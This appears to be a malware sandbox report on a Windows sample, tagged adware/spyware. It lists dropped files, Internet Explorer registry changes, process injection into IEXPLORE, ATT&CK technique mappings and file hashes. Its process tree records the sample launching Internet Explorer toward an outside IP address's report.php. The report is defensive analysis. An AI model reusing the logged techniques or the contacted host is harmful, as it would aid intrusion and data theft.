File created	C:\Windows\WinSxS\amd64_microsoft-windows-i..raries-servercommon_31bf3856ad364e35_10.0.19041.264_none_876d2c71ceefefbb\iissetup.exe_	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\WinSxS\amd64_microsoft-windows-l..nstaller-comhandler_31bf3856ad364e35_10.0.19041.746_none_ff3f6c27e956149f\r\LanguageComponentsInstallerComHandler.exe_	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\WinSxS\amd64_microsoft-windows-sstext3d_31bf3856ad364e35_10.0.19041.1_none_ba29c601fef9ba5d\ssText3d.scr_	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\WinSxS\amd64_microsoft-windows-systemrestore-main_31bf3856ad364e35_10.0.19041.746_none_24d91ab4120e42ee\rstrui.exe-	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\WinSxS\amd64_microsoft-windows-unp_31bf3856ad364e35_10.0.19041.1266_none_21c0be7c0dad3632\f\UpdateNotificationMgr.exe_	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe-	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\WinSxS\wow64_microsoft-windows-usercpl-usermgrbroker_31bf3856ad364e35_10.0.19041.1_none_d6f1c935a875f141\UserAccountBroker.exe_	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\WinSxS\amd64_microsoft-hyper-v-vstack-vmms_31bf3856ad364e35_10.0.19041.1266_none_ab5bdb26141e0be5\r\vmms.exe-	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\WinSxS\amd64_microsoft-windows-errorreportingcore_31bf3856ad364e35_10.0.19041.1081_none_955497efbb030cb9\wermgr.exe-	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\WinSxS\amd64_microsoft-xbox-gameoverlay_31bf3856ad364e35_10.0.19041.1052_none_b39097e5dc722fb4\r\GamePanel.exe-	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\WinSxS\amd64_microsoft-windows-c..alenrollmentmanager_31bf3856ad364e35_10.0.19041.1202_none_1a780ff3456b7bcd\f\CredentialEnrollmentManager.exe-	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\WinSxS\amd64_microsoft-windows-e..-unifiedwritefilter_31bf3856ad364e35_10.0.19041.1_none_522bacd027283125\UwfServicingSvc.exe-	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\WinSxS\amd64_microsoft-windows-lockapphost_31bf3856ad364e35_10.0.19041.746_none_d99fd60bc1fde773\LockAppHost.exe-	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\WinSxS\amd64_microsoft-windows-t..ces-workspacebroker_31bf3856ad364e35_10.0.19041.1151_none_0412565dd5f26733\wkspbroker.exe-	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\WinSxS\amd64_microsoft-windows-t..lications-clientsku_31bf3856ad364e35_10.0.19041.1266_none_93a0f3defb54e912\f\rdpshell.exe_	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe_	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\WinSxS\amd64_microsoft-hyper-v-vstack-vmwp_31bf3856ad364e35_10.0.19041.264_none_13222f28beaa00a7\r\vmwp.exe_	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\WinSxS\amd64_microsoft-windows-c..ngshellapp.appxmain_31bf3856ad364e35_10.0.19041.746_none_0b4ed891dd9ccbc8\r\CallingShellApp.exe-	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\WinSxS\amd64_microsoft-windows-errorreportingfaults_31bf3856ad364e35_10.0.19041.264_none_4de8bd849baaa96f\r\WerFaultSecure.exe_	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\WinSxS\amd64_microsoft-windows-errorreportingfaults_31bf3856ad364e35_10.0.19041.264_none_4de8bd849baaa96f\WerFaultSecure.exe_	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\WinSxS\wow64_microsoft-windows-mediaplayer-setup_31bf3856ad364e35_10.0.19041.1_none_6e398157aa492263\unregmp2.exe-	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Workflow.Compiler\v4.0_4.0.0.0__31bf3856ad364e35\Microsoft.Workflow.Compiler.exe	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe

Modifies Internet Explorer settings 1 TTPs 22 IoCs

adware spyware

Modify Registry

T1112

Processes:

IEXPLORE.exeIEXPLORE.EXE

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3726321484-1950364574-433157660-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no"	IEXPLORE.exe
Key created	\REGISTRY\USER\S-1-5-21-3726321484-1950364574-433157660-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3726321484-1950364574-433157660-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3726321484-1950364574-433157660-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3726321484-1950364574-433157660-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{9ACED176-0556-11EF-8ED9-E60741629A96} = "0"	IEXPLORE.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3726321484-1950364574-433157660-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	IEXPLORE.exe
Key created	\REGISTRY\USER\S-1-5-21-3726321484-1950364574-433157660-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	IEXPLORE.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3726321484-1950364574-433157660-1000\SOFTWARE\Microsoft\Internet Explorer\GPU\AdapterInfo = "vendorId=\"0x10de\",deviceID=\"0x8c\",subSysID=\"0x0\",revision=\"0x0\",version=\"10.0.19041.546\"hypervisor=\"No Hypervisor (No SLAT)\""	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3726321484-1950364574-433157660-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	IEXPLORE.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3726321484-1950364574-433157660-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000005a0a2b07e19474409a5e998fac1dca8100000000020000000000106600000001000020000000a25bcce178b2cf6fa89916ee22a29cb7fb26eecf73ffa6adf5db4b88a91e63b4000000000e80000000020000200000003e22d95c79e1de6be4c67f44208f0a97acbaf8c45b9db1bebb0c19d24dbccc632000000043dfa0d23678897ad7976deaa80bd8eebb054e90ebd60fabd8ba76e2477996bf40000000435fe58e886a4a5bf99f318eddf57eae298320d4bb002fbbc60a1eb8d8f63c494a389a0eabcab2e29e86f0913a8717d19ab7f38350ad23f3df690fb8c8d13d64	IEXPLORE.exe
Key created	\REGISTRY\USER\S-1-5-21-3726321484-1950364574-433157660-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.exe
Key created	\REGISTRY\USER\S-1-5-21-3726321484-1950364574-433157660-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	IEXPLORE.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3726321484-1950364574-433157660-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = f069e0736399da01	IEXPLORE.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3726321484-1950364574-433157660-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = c07cf3736399da01	IEXPLORE.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3726321484-1950364574-433157660-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000005a0a2b07e19474409a5e998fac1dca81000000000200000000001066000000010000200000005bdffe372e306bb8fb5857b43f4101fa76d7c849aa48dfefb20fdcf1ba99d260000000000e80000000020000200000006b57532ca85c141107b1e53561b3db17676375bfb257b84a37e203f486e6af5d20000000ec4bade8cdd2f661ec0ba0c3b21ef12eed6d9fea32bb511ba45ed7dcb67ca42340000000c90d6f84b9ad2eb66cbc659f9e06c818d8a23b4100b1d3f810ce563094a602e7736688a14e473d75eaae9b74215a2a780e501e5fbdfdd6b8eea009c685fbed7a	IEXPLORE.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3726321484-1950364574-433157660-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "420467377"	IEXPLORE.exe
Key created	\REGISTRY\USER\S-1-5-21-3726321484-1950364574-433157660-1000\Software\Microsoft\Internet Explorer\GPU	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3726321484-1950364574-433157660-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	IEXPLORE.exe
Key created	\REGISTRY\USER\S-1-5-21-3726321484-1950364574-433157660-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	IEXPLORE.exe
Key created	\REGISTRY\USER\S-1-5-21-3726321484-1950364574-433157660-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	IEXPLORE.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3726321484-1950364574-433157660-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	IEXPLORE.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3726321484-1950364574-433157660-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	IEXPLORE.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

IEXPLORE.exe

pid process

3088 IEXPLORE.exe
Suspicious use of SetWindowsHookEx 6 IoCs

Processes:

IEXPLORE.exeIEXPLORE.EXE

pid process

3088 IEXPLORE.exe
3088 IEXPLORE.exe
1684 IEXPLORE.EXE
1684 IEXPLORE.EXE
1684 IEXPLORE.EXE
1684 IEXPLORE.EXE

pid	process
3088	IEXPLORE.exe

pid	process
3088	IEXPLORE.exe
3088	IEXPLORE.exe
1684	IEXPLORE.EXE
1684	IEXPLORE.EXE
1684	IEXPLORE.EXE
1684	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 5 IoCs

Processes:

0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exeIEXPLORE.exe

description	pid	process	target process
PID 628 wrote to memory of 3088	628	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe	IEXPLORE.exe
PID 628 wrote to memory of 3088	628	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe	IEXPLORE.exe
PID 3088 wrote to memory of 1684	3088	IEXPLORE.exe	IEXPLORE.EXE
PID 3088 wrote to memory of 1684	3088	IEXPLORE.exe	IEXPLORE.EXE
PID 3088 wrote to memory of 1684	3088	IEXPLORE.exe	IEXPLORE.EXE

C:\Users\Admin\AppData\Local\Temp\0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe"
1⤵
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:628

C:\Program Files\Internet Explorer\IEXPLORE.exe
"C:\Program Files\Internet Explorer\IEXPLORE" 212.33.237.86/images/1/report.php
2⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3088

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3088 CREDAT:17410 /prefetch:2
3⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:1684

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

2

T1112

Credential Access

Unsecured Credentials

1

T1552

Credentials In Files

1

T1552.001

Discovery

Lateral Movement

Collection

Data from Local System

1

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files\7-Zip\7z.exe

Filesize
15.9MB

MD5
3353551e208a4a864dce4be4361e003b

SHA1
feb553e27d526164b7fa078bf584b27fac107f57

SHA256
8f1ca5b73669591471e398284de5d7a745e0c508a45027097c73ab25f263527a

SHA512
6fc65b46f7846a414f03948b3b741ce7f5a1113aa639a2441d203ca0319617804b1bae933b206f03428136a30d352437b00e086aeaaded64b4e998222c4ad4b6

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads